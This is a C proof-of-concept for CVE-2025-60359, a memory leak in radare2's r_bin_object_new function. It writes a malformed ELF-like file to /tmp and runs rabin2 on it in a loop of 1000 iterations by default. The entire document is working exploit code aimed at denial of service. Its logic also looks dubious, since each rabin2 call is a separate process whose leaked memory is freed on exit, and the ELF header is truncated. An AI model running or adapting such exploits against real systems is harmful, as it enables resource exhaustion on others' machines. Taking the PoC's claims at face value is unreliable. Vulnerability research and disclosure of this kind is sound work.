/* CVE-2025-60359 PoC - radare2 r_bin_object_new Memory Leak
* This PoC triggers memory leak in r_bin_object_new function
* by repeatedly processing crafted binary files with radare2 tools.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
/* Create a minimal malformed ELF-like binary to trigger r_bin_object_new */
int create_malformed_binary(const char *filename) {
FILE *fp = fopen(filename, "wb");
if (!fp) return -1;
/* Minimal ELF header with corrupted section info to trigger leak path */
unsigned char elf_header[] = {
0x7f, 0x45, 0x4c, 0x46, /* ELF magic */
0x02, 0x01, 0x01, 0x00, /* 64-bit, little-endian */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, /* ET_EXEC, x86-64 */
0x01, 0x00, 0x00, 0x00, /* version */
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
fwrite(elf_header, 1, sizeof(elf_header), fp);
/* Write corrupted section headers to trigger memory leak */
unsigned char corrupted_data[4096];
memset(corrupted_data, 0xff, sizeof(corrupted_data));
fwrite(corrupted_data, 1, sizeof(corrupted_data), fp);
fclose(fp);
return 0;
}
int main(int argc, char *argv[]) {
const char *binary = "/tmp/malformed_target";
int iterations = (argc > 1) ? atoi(argv[1]) : 1000;
printf("[+] CVE-2025-60359 PoC - radare2 Memory Leak\n");
printf("[+] Creating malformed binary: %s\n", binary);
create_malformed_binary(binary);
printf("[+] Triggering memory leak via %d iterations...\n", iterations);
for (int i = 0; i < iterations; i++) {
/* Use rabin2 to analyze the binary, triggering r_bin_object_new */
char cmd[256];
snprintf(cmd, sizeof(cmd), "rabin2 -I %s > /dev/null 2>&1", binary);
system(cmd);
if (i % 100 == 0) {
printf("[*] Iteration %d/%d\n", i, iterations);
}
}
printf("[+] Done. Check system memory usage to observe leak.\n");
return 0;
}